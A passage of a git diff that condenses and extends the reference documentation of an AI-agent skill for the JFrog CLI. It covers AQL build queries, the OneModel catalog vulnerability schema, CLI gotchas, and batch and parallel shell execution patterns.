use `?project=default` (the built-in default project that covers -the `artifactory-build-info` repo). For AQL queries, scope by -`"repo":"-build-info"` (or `"repo":"artifactory-build-info"` for -the default project). +**Project scoping:** `?project=` on **every** build detail call. User key +→ use it; else `?project=default`. AQL: `"repo":"-build-info"` or +`"repo":"artifactory-build-info"` for default. -**Server rule:** A 404 from a `?project=` build call is **not** a signal -to try a different server. Use only the resolved server; on any failure, -report and stop. See `SKILL.md` § *Server selection rules*. +**Server rule:** 404 on `?project=` ≠ try another server. Resolved server +only; on failure report and stop. See `SKILL.md` § *Server selection rules*. ### Publishing builds @@ -73,8 +66,8 @@ report and stop. See `SKILL.md` § *Server selection rules*. ### Listing build names -**Do not use `GET /api/build`** — it has no pagination and times out on large -instances. Always use AQL with `limit` and `offset`. +**Do not use `GET /api/build`** — no pagination; times out on large instances. +Always AQL with `limit` and `offset`. **All builds** (no project scope): @@ -84,9 +77,8 @@ jf api /artifactory/api/search/aql \ -d 'builds.find().include("name","number","repo","created").sort({"$desc":["created"]}).offset(0).limit(100)' ``` -**Project-scoped** — filter by the project's build-info repository -(`-build-info`, or `artifactory-build-info` for the default -project): +**Project-scoped** — filter by build-info repo +(`-build-info`, or `artifactory-build-info` for default project): ```bash jf api /artifactory/api/search/aql \ @@ -94,19 +86,14 @@ jf api /artifactory/api/search/aql \ -d 'builds.find({"repo":"-build-info"}).include("name","number","repo","created").sort({"$desc":["created"]}).offset(0).limit(100)' ``` -**Pagination:** The response includes a `range` object with `total` (total -matching records). If `total` exceeds the `limit`, tell the user: *"Showing +**Pagination:** `range.total` vs `limit` → if exceeded, tell user: *"Showing first 100 of N results (paginated). Ask for the next batch if needed."* -For subsequent pages, increment `offset` by 100. +Increment `offset` by 100 per page. -**Output rule (mandatory):** AQL returns one row per name+number pair. -Extract **unique build names** client-side (e.g. -`jq '[.[].builds.name] | unique'`). Present **only the deduplicated list of -build names** to the user. **Do not** include build numbers, timestamps, run -counts, or any per-run details in the response — not even as a "bonus" or -"most recent" table. The user is asking "what builds exist", not "what runs -happened". Only show run-level details if the user explicitly asks for them -in a follow-up. +**Output rule (mandatory):** AQL = one row per name+number. Extract **unique +build names** client-side (e.g. `jq '[.results[].builds.name] | unique'`). Present +**only deduplicated names** — no numbers, timestamps, run counts, or per-run +details (not even "bonus"/"most recent" table). Run details only if explicitly requested. ### Listing runs of a specific build @@ -116,35 +103,29 @@ jf api /artifactory/api/search/aql \ -d 'builds.find({"name":""}).include("name","number","repo","created").sort({"$desc":["created"]}).offset(0).limit(100)' ``` -Add `"repo":"-build-info"` to the criteria when a project key -is known. Apply the same pagination rules as above. +Add `"repo":"-build-info"` when project key known. Same pagination rules. ### Retrieving full build info -Use the REST detail endpoint for a **single** build run. Always include -`?project=` (or `?project=default` when no key is provided): +REST detail endpoint for a **single** run. Always include `?project=` +(or `?project=default` when no key): ```bash jf api "/artifactory/api/build//?project=" ``` -This is the only `/api/build` endpoint that should be used — it returns a -single record and does not need pagination. +Only `/api/build` endpoint to use — single record, no pagination. ### When a build is not found -If the detail call returns 404, the build likely belongs to a different -project. **Ask the user for the project key** rather than searching across -repos or servers. +404 on detail call → build likely in different project. **Ask user for project +key** — do not search across repos or servers. ### Repository listing vs build-info `GET /artifactory/api/repositories?project=&type=buildinfo` may return -an empty list even when project-scoped build info exists (for example under -a `*-build-info` repository). Prefer AQL to -discover builds; do not treat an empty repository -list as proof that no -builds exist. +empty list even when project-scoped build info exists (e.g. under `*-build-info`). +Prefer AQL to discover builds; empty repository list ≠ no builds. ## Permissions @@ -164,7 +145,7 @@ Note: `jf rt permission-target-template` is interactive. - Delete group: `jf rt group-delete ` - Add users to group: `jf rt group-add-users ` -To get user details or update users, use `jf api`: +User details/update via `jf api`: ``` jf api /access/api/v2/users/ ``` diff --git a/skills/jfrog/references/catalog-entities.md b/skills/jfrog/references/catalog-entities.md index 085bea0..f8e9a87 100644 --- a/skills/jfrog/references/catalog-entities.md +++ b/skills/jfrog/references/catalog-entities.md @@ -3,40 +3,36 @@ When to read this file: - Querying **public package metadata** (descriptions, vulnerabilities, licenses, operational info). -- Working with the **Custom Catalog** (org-specific labels, package views, federation). -- Looking up **vulnerability details** beyond what Xray provides (advisories, EPSS, CWE, known exploits). +- Working with **Custom Catalog** (org-specific labels, package views, federation). +- Looking up **vulnerability details** beyond Xray (advisories, EPSS, CWE, known exploits). - Querying **OpenSSF scorecards**, **ML model metadata**, or **MCP service** registries. -- Using the OneModel GraphQL API with `publicPackages`, `customPackages`, +- Using OneModel GraphQL with `publicPackages`, `customPackages`, `publicSecurityInfo`, `publicLegalInfo`, `publicOperationalInfo`, `publicCatalogLabels`, or `publicRemoteServices` query roots. -Catalog entities are accessed via the **OneModel GraphQL API** -(`/onemodel/api/v1/graphql`). +Catalog entities via **OneModel GraphQL API** (`/onemodel/api/v1/graphql`). -For the OneModel query workflow (credentials, schema fetch, validation, -execution), read `references/onemodel-graphql.md`. +OneModel query workflow (credentials, schema fetch, validation, execution): `references/onemodel-graphql.md`. ## Two catalog layers | Layer | Scope | Description | |-------|-------|-------------| -| **Public Catalog** | Global | JFrog's curated package database — security, legal, and operational metadata for public packages across ecosystems | -| **Custom Catalog** | Organization | Org-specific overlay — custom labels, per-org package views, federation config | +| **Public Catalog** | Global | JFrog global package DB — security, legal, operational metadata across ecosystems | +| **Custom Catalog** | Organization | Org overlay: custom labels, per-org views, federation config | -The Custom Catalog builds on top of the Public Catalog. A public package -can be enriched with org-specific labels and metadata through the Custom -Catalog without altering the underlying public data. +Custom Catalog overlays Public Catalog — org labels/metadata without changing public data. ## Public Catalog entities ### PublicPackage -A package as known to JFrog's global package database. +Package in JFrog global package database. | Field | Description | |-------|-------------| -| `name` | Package name (e.g. `lodash`, `spring-boot-starter-web`) | -| `type` | Package type (e.g. `npm`, `maven`, `pypi`) | +| `name` | Package name (`lodash`, `spring-boot-starter-web`) | +| `type` | Package type (`npm`, `maven`, `pypi`) | | `ecosystem` | Ecosystem identifier | | `description` | Rich-text description | | `homepage`, `vcsUrl` | Package URLs | @@ -53,12 +49,12 @@ Query: `publicPackages.searchPackages(where: {...})`. ### PublicPackageVersion -A specific version with security, legal, and operational analysis. +Specific version with security, legal, operational analysis. | Field | Description | |-------|-------------| | `version` | Version string | -| `isLatest` | Whether this is the latest version | +| `isLatest` | Whether latest version | | `isListedVersion` | Whether visible in Catalog UI | | `publishedAt`, `modifiedAt` | Timestamps | | `trendingScore` | Version-level popularity | @@ -72,76 +68,71 @@ Each version carries three info blocks: ### PublicVulnerability -Vulnerability data richer than what Xray violations expose. Useful for -deep-dive security analysis and advisory lookups. +Richer vulnerability data than Xray violations — deep-dive analysis + advisory lookups. | Field | Description | |-------|-------------| -| `name` | CVE identifier (e.g. `CVE-2021-44228`) | +| `name` | CVE id (`CVE-2021-44228`) | | `ecosystem` | Affected ecosystem | | `severity` | `CRITICAL`, `HIGH`, `MEDIUM`, `LOW` | | `description` | Detailed impact description | | `cvss` | CVSS scores — v2, v3, **and v4** | -| `epss` | EPSS (Exploit Prediction Scoring System) — exploit likelihood | -| `knownExploit` | Known exploit information | -| `withdrawn` | Whether the CVE has been retracted | +| `epss` | EPSS exploit likelihood | +| `knownExploit` | Known exploit info | +| `withdrawn` | CVE retracted | | `aliases` | Alternative identifiers | | `references` | Advisory URLs | | `publishedAt`, `modifiedAt` | Timestamps | -Advisory sources (via `advisories` connection): -- **NVD** — NIST National Vulnerability Database +Advisory sources (`advisories` connection): +- **NVD** — NIST vulnerability DB - **GHSA** — GitHub Security Advisory -- **JFrog Advisory** — JFrog's own research (includes impact reasons) +- **JFrog Advisory** — JFrog research (impact reasons) - **Debian Security Tracker** - **RedHat OVAL** Additional connections: `cwesConnection` (CWE entries), `cpesConnection` -(CPE entries), `publicPackageInfo` (affected packages and versions). +(CPE entries), `publicPackageInfo` (affected packages + versions). Query: `publicSecurityInfo.searchVulnerabilities(where: {...})`. #### Filtering limitations -`searchVulnerabilities` can filter by CVE name, ecosystem, severity, CVSS, -EPSS, known exploit status, and publication date — but **not** by affected -package name. There is no `hasPublicPackageInfoWith` or similar filter on -`PublicVulnerabilityWhereInput`. To find vulnerabilities affecting a specific -package, use one of these alternatives: +`searchVulnerabilities` filters by CVE name, ecosystem, severity, CVSS, +EPSS, known exploit status, publication date — but **not** by affected +package name. No `hasPublicPackageInfoWith` or similar filter on +`PublicVulnerabilityWhereInput`. To find vulnerabilities affecting specific +package, use alternatives: - **Version-level security info** (GraphQL): query - `publicPackages.getPackage(type, name)` and navigate to - `versionsConnection → securityInfo → vulnerabilitiesConnection` to get + `publicPackages.getPackage(type, name)` → + `versionsConnection → securityInfo → vulnerabilitiesConnection` for CVEs affecting specific versions. -- **Individual CVE lookup**: use `searchVulnerabilities(where: { name: "" })` - and inspect `publicPackageInfo.vulnerablePublicPackagesConnection` on the +- **Individual CVE lookup**: `searchVulnerabilities(where: { name: "" })` + → inspect `publicPackageInfo.vulnerablePublicPackagesConnection` on `generic` ecosystem entry. #### Ecosystem multiplicity -A single CVE appears as multiple `PublicVulnerability` entries — one per -ecosystem. The `ecosystem` field determines which entry you see: +Single CVE → multiple `PublicVulnerability` entries (one per ecosystem). `ecosystem` field determines entry: | Ecosystem | Contains | |-----------|----------| -| `generic` | Non-OS package-level data (npm, maven, pypi, go, etc.) — includes `publicPackageInfo` with vulnerable versions and fix versions | -| `debian`, `redhat`, `ubuntu`, etc. | OS-specific advisory data — severity may differ from NVD; `publicPackageInfo` is typically empty (OS packages are tracked separately) | +| `generic` | Non-OS package-level data (npm, maven, pypi, go, etc.) — includes `publicPackageInfo` with vulnerable + fix versions | +| `debian`, `redhat`, `ubuntu`, etc. | OS-specific advisory data — severity may differ from NVD; `publicPackageInfo` typically empty (OS packages tracked separately) | -When looking up a CVE by name, `searchVulnerabilities(where: { name: "" })` -returns all ecosystem entries. To get affected packages and fix versions for -libraries like npm or maven, filter for or focus on the `generic` ecosystem -entry. `getVulnerability` requires both `name` and `ecosystem` — use -`searchVulnerabilities` when the ecosystem is unknown. +CVE lookup by name: `searchVulnerabilities(where: { name: "" })` +returns all ecosystem entries. For npm/maven library affected packages + fix versions → filter/focus on `generic` entry. `getVulnerability` requires `name` + `ecosystem` — use `searchVulnerabilities` when ecosystem unknown. ### PublicLicense -License metadata with permission, condition, and limitation details. +License metadata with permission, condition, limitation details. | Field | Description | |-------|-------------| -| `name` | License name (e.g. `Apache-2.0`, `MIT`) | +| `name` | License name (`Apache-2.0`, `MIT`) | | `spdxId` | SPDX identifier | -| `permissions` | What the license permits | +| `permissions` | What license permits | | `limitations` | Restrictions imposed | | `patentConditions` | Patent grant conditions | | `noticeFiles` | Required notices | @@ -150,23 +141,23 @@ Query: `publicLegalInfo.searchLicenses(where: {...})`. ### PublicPackageOperationalInfo -Operational risk assessment for packages and versions. +Operational risk assessment for packages + versions. | Entity | Key data | |--------|----------| -| **OpenSSF scorecard** | Overall score, individual checks with scores and pass/fail | -| **End-of-life** | Whether the package or version is EOL, justification | -| **Popularity** | JFrog popularity by segment and subscription tier, download counts | +| **OpenSSF scorecard** | Overall score + check scores/pass-fail | +| **End-of-life** | Package/version EOL status + justification | +| **Popularity** | JFrog popularity by segment/tier, download counts | ### MCP services and tools -The Public Catalog also indexes MCP (Model Context Protocol) services: +Public Catalog also indexes MCP (Model Context Protocol) services: | Entity | Description | |--------|-------------| -| `PublicMcpService` | An MCP service with name, description, version | -| `PublicMcpTool` | A tool exposed by an MCP service with arguments | -| `PublicMcpRemote` | Remote MCP server configuration | +| `PublicMcpService` | MCP service: name, description, version | +| `PublicMcpTool` | MCP service tool + arguments | +| `PublicMcpRemote` | Remote MCP server config | Query: `publicRemoteServices.searchMcpServices(where: {...})`. @@ -174,7 +165,7 @@ Query: `publicRemoteServices.searchMcpServices(where: {...})`. ### CustomPackage -A package in the organization's private catalog view. +Package in org private catalog view. | Field | Description | |-------|-------------| @@ -188,27 +179,25 @@ Connections: `versionsConnection`, `legalInfo`, ### CustomCatalogLabel -Organization-defined labels for categorizing packages. +Org-defined labels for categorizing packages. | Field | Description | |-------|-------------| | `name` | Label name | -| `description` | What the label represents | +| `description` | What label represents | | `color` | Display color | | `labelType` | `MANUAL` or `AUTOMATIC` | -| `assignmentInfo` | How and when the label was assigned | +| `assignmentInfo` | How/when label assigned | -Labels can be assigned to both custom packages and public packages/versions -within the org's catalog scope. The Custom Catalog mutations allow -creating, updating, and deleting labels. +Labels assignable to custom packages + public packages/versions within org catalog scope. Custom Catalog mutations: create, update, delete labels. ### CustomCatalogFederation -Configuration for federating catalog data across JFrog deployments. +Config for federating catalog data across JFrog deployments. ## Catalog vs. Xray vs. Stored Packages -These three domains provide different views of package and security data: +Three domains, different views of package + security data: | Aspect | Catalog | Xray | Stored Packages | |--------|---------|------|-----------------| diff --git a/skills/jfrog/references/cli-command-discovery.md b/skills/jfrog/references/cli-command-discovery.md new file mode 100644 index 0000000..bbe6263 --- /dev/null +++ b/skills/jfrog/references/cli-command-discovery.md @@ -0,0 +1,39 @@ +# CLI command discovery + +> **Tier B MUST** when discovery beyond `--help` is needed. Not every CLI / setup. + +Use `--help` to verify uncertain options. Do not rely on memorized commands +outside this skill — they may be outdated. + +1. `jf --help` — namespaces and top-level commands +2. `jf --help` — subcommands in a namespace +3. `jf --help` — usage, arguments, options + +## CLI namespaces + +| Namespace | Alias | Product | +|-----------|-------|---------| +| `rt` | | Artifactory | +| `xr` | | Xray | +| `ds` | | Distribution V1 | +| `at` | `apptrust` | AppTrust | +| `evd` | | Evidence | +| `mc` | | Mission Control | +| `worker` | | Workers | +| `config` | `c` | CLI server configuration | +| `plugin` | | CLI plugin management | +| `ide` | | IDE integration | + +> **Sunset notice:** JFrog Pipelines has been sunset and is no longer supported. +> Do not use the `pl` CLI namespace or the Pipelines REST API +> (`/pipelines/api/...`). If a user asks about Pipelines, inform them the +> product has been sunset. + +Top-level lifecycle commands (no namespace): `rbc`, `rbp`, `rbd`, `rba`, +`rbf`, `rbe`, `rbi`, `rbs`, `rbu`, `rbdell`, `rbdelr`. + +Top-level security commands: `audit`, `scan`, `build-scan`, `curation-audit`, +`sbom-enrich`. + +Top-level other: `access-token-create` (`atc`), `login`, `how`, `stats`, +`generate-summary-markdown`, `exchange-oidc-token`, `completion`. diff --git a/skills/jfrog/references/cli-gotchas.md b/skills/jfrog/references/cli-gotchas.md new file mode 100644 index 0000000..410b205 --- /dev/null +++ b/skills/jfrog/references/cli-gotchas.md @@ -0,0 +1,80 @@ +# CLI and `jf api` gotchas + +> **Tier B MUST** before `jf api` / AQL / advanced CLI I/O / MCP-via-shell. +> Not tips. Not required for every CLI / `jf setup` (use SKILL.md Tier A floor). +> Tier A bullets do **not** replace this file on Tier B paths. + +Hard rules and known failure modes: + +## MCP tools + +- MCP tools return structured data in the tool result. Read response fields + directly; do not pipe MCP output through shell commands or `jq`. + +## CLI and `jf api` + +- `jf api` requires the **product prefix** in the path. Omitting it returns + 404. See `references/jf-api.md` for the full product-prefix table. +- `jf api` writes the body (success or error JSON) to **stdout** and + `[Info] Http Status: NNN` to **stderr** on every call; non-2xx also exits + 1 and adds `[Warn] jf api: returned NNN`. Pipe stdout to + `jq` directly; **never `2>&1 | jq`** — stderr corrupts the JSON. To keep + diagnostics: `jf api 2>/tmp/err-$$.log | jq .`. +- `jf api` has **no `-L`** (follow redirects) and **no `-o`** (output file). + Save bodies with shell redirection + (`jf api ... > /tmp/out-$$.json`); for + binary downloads through the Artifactory remote proxy prefer `jf rt dl`, + which handles the cache and redirect semantics natively. +- Remote repository content is stored in a `-cache` suffixed repo. Properties + and AQL queries for remote repo artifacts must target the cache repo. + Conversely, `/api/repositories/` only accepts the parent remote key + (without `-cache`) — strip the suffix for configuration lookups. +- **Do not use `jf rt search`** — always use a direct AQL query via + `jf api /artifactory/api/search/aql -X POST -H "Content-Type: text/plain" -d ''`. + See `references/artifactory-aql-syntax.md`. +- Use `--quiet` flag for non-interactive execution (suppresses confirmation + prompts). **Caution:** `--quiet` is not a global flag — commands that do not + support it (e.g. `jf rt s`, `jf rt ping`) will fail with misleading errors + like "Wrong number of arguments" or "flag provided but not defined". Check + `--help` for a command before adding `--quiet`. +- Use `--server-id` when targeting a non-default server. If a command fails + with `--server-id`, do not retry without it — that silently targets the + default server instead. See `SKILL.md` → Server selection rules. +- Never use interactive commands. All JFrog CLI operations must be performed + non-interactively. Known interactive commands to avoid: `jf config add`, + `jf login`, `jf rt repo-template`, `jf rt permission-target-template`, and + `jf rt replication-template`. For server setup, follow `references/jfrog-login-flow.md`. + For templates, use JSON schemas or REST API. If a command prompts for input + unexpectedly, find the non-interactive alternative via `--help` or REST API. +- `jf config export` output is base64-encoded JSON. Decode with + `base64 -d | jq` to extract fields. +- Build info lookups require a scope (`?buildRepo=` or `?project=`) — + resolve it before calling the API. See `references/artifactory-operations.md` + §Retrieving build info for the full workflow. +- If a `jf api` call returns 401, the configured token may have expired or + been rotated — ask the user to re-run the login flow (see + `references/jfrog-login-flow.md`) for the **same** server. If 403, the + token lacks required permissions. If 404, verify the endpoint path + (especially the product prefix) and target server version. On any of + these errors, do not try a different configured server as a workaround — + that targets a different environment. Report the error and ask the user. +- **Xray contextual analysis:** the summary artifact response has two + applicability fields — `applicability` (top-level, often null) and + `applicability_details` (always present with a `result` string). **Use + `applicability_details[].result` for counts and summaries.** Using the + top-level `applicability` field for aggregation produces wrong counts because + it is null when no scanner exists. See `references/xray-entities.md` + §Contextual analysis for the eight possible result values and jq snippets. +- **OneModel GraphQL:** always fetch the supergraph schema from the **same** + server you query before building operations (schemas differ by deployment); + cache, validate, and execute per `references/onemodel-graphql.md`. +- Never duplicate a network-fetching command to retry `jq` parsing — save the + response to a temp file first (see `references/preserving-command-output.md`). +- When collecting detail responses in a loop (e.g. per-repo GETs), validate + each body with `jq -e .` before appending to a results file. One non-JSON + or empty response corrupts a downstream `jq -s` slurp. Write validated + lines to an NDJSON file, then `jq -s '.' file.ndjson` to produce the final + array. See `references/general-bulk-operations-and-agent-patterns.md`. +- Accumulated edge cases from real tasks live in `references/general-use-case-hints.md` + — read when debugging odd failures; **append** a short entry when you confirm + a new, reusable gotcha. diff --git a/skills/jfrog/references/general-bulk-operations-and-agent-patterns.md b/skills/jfrog/references/general-bulk-operations-and-agent-patterns.md index 2b44979..2fe30f4 100644 --- a/skills/jfrog/references/general-bulk-operations-and-agent-patterns.md +++ b/skills/jfrog/references/general-bulk-operations-and-agent-patterns.md @@ -1,70 +1,55 @@ # Bulk operations and agent execution patterns -Platform-wide guidance for agents that gather data from multiple JFrog products -(Artifactory, Xray, Access, Distribution, etc.), run long shell -sequences, or parallelize work. Product-specific field names and endpoints live -in the other `references/*` files; this document describes **patterns**, not -one workflow. +Platform-wide guidance for agents gathering data from multiple JFrog products +(Artifactory, Xray, Access, Distribution, etc.), long shell sequences, or +parallel work. Product field names/endpoints in other `references/*` files; +this document = **patterns**, not one workflow. ## List vs detail responses -Many REST surfaces expose a **light list** (keys, names, minimal fields) and a -**richer GET by id or key**. Fields needed for audits, reporting, joins, or -permission checks may appear **only** on the detail response. Before building a -multi-step flow on a single list call, confirm in API docs or with a sample GET -whether the fields you need are present. +REST: **light list** + **detail GET**. Audit/join/permission fields often +detail-only — confirm via docs or sample GET before building on list alone. ## Volume, batching, and timeouts -- Estimate **N** round-trips (list + per-item GETs, paginated APIs, etc.) before - starting so execution time and tool timeouts stay predictable. -- Prefer batching independent reads in one Shell invocation when credentials and - tier match (see SKILL.md **Batch and parallel execution**). -- Split very large work across chunks, parallel Shell calls, or subagents when - the skill's tiering guidance says so. -- Before starting an N+1 loop (list + per-item detail), **estimate wall time** - as roughly `N * 1.5s` for sequential calls. Set `block_until_ms` to at - least that estimate plus a 30-second buffer. -- For loops exceeding ~60 items, prefer a single Shell invocation that writes - progress to a log file (`>> /tmp/jf-progress-$$.log`) so partial results - are visible even if the job is interrupted. -- If the task is read-only and items are independent, consider Tier 2 or - Tier 3 parallelism (see `general-parallel-execution.md`) to reduce total time — - but respect rate limits and keep concurrency modest (4-8 parallel calls). +- Estimate **N** round-trips before starting. +- Batch independent reads in one Shell when credentials/tier match (SKILL.md + **Batch and parallel execution**). +- Large work → chunks, parallel Shell, or subagents per tiering. +- N+1 loop: wall time ≈ `N * 1.5s`; `block_until_ms` ≥ estimate + 30s. +- > ~60 items: Shell + progress log (`>> /tmp/jf-progress-$$.log`). +- Read-only independent items: Tier 2/3 (`general-parallel-execution.md`); + rate limits; 4-8 parallel calls. ## Parallelism and shared files -**Unsafe:** Multiple concurrent processes appending lines to the **same** file -(JSONL, logs, ndjson) without synchronization. Output can interleave on one -line and break parsers (e.g. JSON "Extra data" errors). +**Unsafe:** Concurrent processes appending to **same** file (JSONL, logs, ndjson) +without sync → interleaved lines, broken parsers (JSON "Extra data" errors). **Safer:** - Write sequentially to one file; or - One temp file per worker or chunk, then concatenate; or -- Use advisory locking (`flock`) if one file must be shared. +- Advisory locking (`flock`) if one file must be shared. -For bulk API or CLI output files, use `/tmp` or `mktemp`; do not use -`~/.jfrog/skills-cache/` except for `jfrog-skill-state.json` and the OneModel -schema file (see main SKILL.md). +Bulk API/CLI output: `/tmp` or `mktemp`; not `~/.jfrog/skills-cache/` except +`jfrog-skill-state.json` and OneModel schema (main SKILL.md). ## Shell hygiene -- Use `set -euo pipefail` in non-trivial scripts so failures are not silent. -- Use unique temp paths (e.g. `$$` in the filename) and **echo the expanded - path** so it can be reused across Shell calls (see SKILL.md **Preserving - command output** for the `$$` + echo, session ID, and hardcoded patterns). -- Parse CLI and API JSON with **`jq`**. +- `set -euo pipefail` in non-trivial scripts — failures not silent. +- Unique temp paths (`$$` in filename) + **echo expanded path** for cross-call + reuse (SKILL.md **Preserving command output** — `$$` + echo, session ID, hardcoded patterns). +- Parse CLI/API JSON with **`jq`**. ## Safe multi-response collection -When looping over items (repos, builds, users) and fetching detail for each: +Looping items (repos, builds, users) + per-item detail: -1. Save each response to a variable or per-item file. +1. Save each response to variable or per-item file. 2. Validate with `jq -e . >/dev/null 2>&1` before appending. -3. On validation failure, write a structured error line so the caller can - report partial results instead of crashing. -4. After the loop, `jq -s '.' results.ndjson` to produce a single array. +3. On validation failure, structured error line → partial results without crash. +4. After loop, `jq -s '.' results.ndjson` → single array. ```bash : >results.ndjson @@ -79,8 +64,7 @@ done < <(jq -r '.[].key' list.json) jq -s '.' results.ndjson > details.json ``` -Never pipe a loop of `jf api` calls directly into `jq -s` without -per-body validation. +Never pipe loop of `jf api` calls directly into `jq -s` without per-body validation. ## Where to find product specifics diff --git a/skills/jfrog/references/general-parallel-execution.md b/skills/jfrog/references/general-parallel-execution.md index a0bb9ba..be7c252 100644 --- a/skills/jfrog/references/general-parallel-execution.md +++ b/skills/jfrog/references/general-parallel-execution.md @@ -1,20 +1,17 @@ # Batch and Parallel Execution -When a task requires multiple independent operations, use the lightest -parallelism mechanism that fits. Three tiers are available, from lightest to -heaviest: +Multiple independent operations → use lightest parallelism tier: | Tier | Mechanism | Best for | |------|-----------|----------| | 1 | Single Shell call with `&&` | Few commands, same credentials | -| 2 | Parallel Shell tool calls | Independent commands that can run concurrently | -| 3 | Parallel subagents (Task tool) | Large multi-step jobs where each branch needs its own reasoning | +| 2 | Parallel Shell tool calls | Independent commands, concurrency helps | +| 3 | Parallel subagents (Task tool) | Large multi-step jobs, each branch needs reasoning | ## Tier 1: Batch within a single Shell call -Combine independent commands with `&&`. All JFrog API calls go through the -same `jf api` command and the same `jf config` server, so batching them -together is both safe and efficient: +Combine independent commands with `&&`. All JFrog API calls share `jf api` + +`jf config` server — batching is safe and efficient: ```bash jf api /artifactory/api/repositories > /tmp/jf-repos-$$.json && \ @@ -22,18 +19,13 @@ jf api /artifactory/api/system/ping > /tmp/jf-ping-$$.json && \ jf api /artifactory/api/storageinfo > /tmp/jf-storage-$$.json ``` -Cross-product reads batch the same way: - -```bash -jf api /access/api/v2/users/ > /tmp/jf-users-$$.json && \ -jf api /access/api/v2/groups/ > /tmp/jf-groups-$$.json && \ -jf api /access/api/v2/permissions/ > /tmp/jf-perms-$$.json -``` +Cross-product reads (Access, Xray, etc.) batch the same way — same `jf api` +command, just a different path per call. ## Tier 2: Parallel Shell tool calls -Use multiple Shell tool calls in the same message when the commands are -independent and the total runtime benefits from concurrency: +Multiple Shell tool calls in one message when commands are independent and +concurrency cuts runtime: ```bash # Shell call 1 — echo the expanded path so the agent can reference it later @@ -45,20 +37,13 @@ OUT=/tmp/jf-users-$$.json jf api /access/api/v2/users/ > "$OUT" && echo "$OUT" ``` -Each parallel Shell call gets a different PID, so `$$` expands to different -values. Echo the path so the agent knows the literal filename for cross-call -use (see SKILL.md **Preserving command output**). +Each parallel Shell call gets different PID → `$$` differs. Echo path for +cross-call use (see SKILL.md **Preserving command output**). ## Tier 3: Parallel subagents -For tasks with multiple independent branches that each require several steps -or their own reasoning — such as generating a platform health report with -separate sections, auditing both repository config and security policies, or -comparing configurations across servers the user explicitly named — launch -parallel subagents using the Task tool. - -Each subagent runs autonomously, executes its own CLI/API calls, and returns -a structured result. The parent agent assembles the final answer. +Multi-branch tasks (health reports, audits, user-named cross-server compare) +→ Task tool subagents. Each runs autonomously; parent merges results. ### Example — platform audit with three parallel subagents @@ -80,26 +65,20 @@ Subagent 3 (shell): "Collect user and permission data" → Return user count, group count, admin users ``` -All three subagents run concurrently. Once all complete, the parent agent -merges their results into a unified report. +All three run concurrently. Parent merges into unified report. ### How to structure a subagent prompt -1. State the goal clearly (e.g. "Collect all Xray policies and watches"). -2. Provide the exact commands to run, or name the API tier and let the - subagent discover via `--help`. -3. Tell the subagent to save output to `/tmp/jf-